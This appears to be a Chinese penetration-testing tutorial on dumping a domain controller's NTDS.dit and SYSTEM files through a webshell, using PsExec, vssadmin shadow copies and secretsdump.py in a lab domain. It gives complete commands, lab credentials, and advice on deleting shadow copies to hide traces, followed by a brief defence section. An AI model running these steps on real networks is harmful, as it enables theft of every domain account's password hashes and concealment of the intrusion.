通过webshell导出域控ntds.dit文件
字数 1360 2025-08-27 12:33:37
通过WebShell导出域控NTDS.dit文件的技术指南
概述
本技术文档详细介绍了在渗透测试过程中,当仅获得域内主机的WebShell时,如何利用PsExec和VSSAdmin工具远程导出域控制器上的NTDS.dit和SYSTEM文件的方法。这些文件包含Active Directory域的所有用户账户和密码哈希值,是渗透测试中获取域控制权的关键步骤。
前提条件
- 已获得域内某台Windows主机的WebShell
- 拥有域管理员凭据(用户名和密码)
- 目标主机与域控制器网络连通
- 能够在WebShell中上传并执行PsExec工具
环境示例
- 域控制器(queen.DC1.indishell.lab): 192.168.56.200
- 已控制的主机(LABONE): 192.168.56.101
- 域管理员凭据: user1/ica_1046
所需工具
- PsExec.exe: Windows内网管理工具,用于在远程主机上执行命令
- VSSAdmin: Windows内置工具,用于管理卷影副本
详细步骤
1. 上传PsExec工具
通过WebShell将PsExec.exe上传到已控制的主机(LABONE)上,建议上传到可写目录如C:\xampp\htdocs\box\ps\。
2. 检查现有卷影副本
首先检查目标域控制器上是否已有C盘的卷影副本:
PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin list shadows > \\192.168.56.101\C$\xampp\htdocs\box\ps\out.txt"
此命令将执行结果重定向到LABONE主机的out.txt文件中。
3. 创建新的卷影副本
如果不存在卷影副本,创建C盘的卷影副本:
PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin create shadow /for=C: > \\192.168.56.101\C$\xampp\htdocs\box\ps\out.txt"
创建成功后,查看out.txt文件获取卷影副本路径,通常格式为:
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\ (X为数字)
4. 复制NTDS.dit文件
NTDS.dit文件通常位于:
卷影副本路径\Windows\NTDS\NTDS.dit
执行复制命令:
PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Windows\NTDS\NTDS.dit \\192.168.56.101\C$\xampp\htdocs\box\ps\"
5. 复制SYSTEM文件
SYSTEM文件通常位于:
卷影副本路径\Windows\System32\config\SYSTEM
执行复制命令:
PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Windows\System32\config\SYSTEM \\192.168.56.101\C$\xampp\htdocs\box\ps\"
6. 下载文件
通过WebShell下载已复制到LABONE主机上的NTDS.dit和SYSTEM文件。
7. 提取哈希值
使用secretsdump.py工具提取哈希值:
python secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
注意事项
- 权限要求:必须使用域管理员凭据执行这些操作
- 网络连通性:确保目标主机与域控制器之间的SMB端口(445)开放
- 输出重定向:由于WebShell可能无法完整显示命令输出,建议将输出重定向到文件
- 卷影副本清理:操作完成后可删除创建的卷影副本以避免留下痕迹
- 时间窗口:卷影副本操作应在短时间内完成,避免引起系统性能问题
防御措施
作为防御方,可以采取以下措施防范此类攻击:
- 限制域管理员账户的使用范围
- 监控异常的大量SMB访问
- 定期检查域控制器上的卷影副本操作
- 实施严格的权限管理,限制普通用户对关键目录的访问
- 监控PsExec等工具的使用情况
总结
本技术文档详细介绍了在仅获得WebShell的情况下,如何利用合法的Windows工具远程导出域控制器的关键文件。这种方法避免了需要直接与域控制器建立反向Shell的限制,适用于各种网络环境下的渗透测试场景。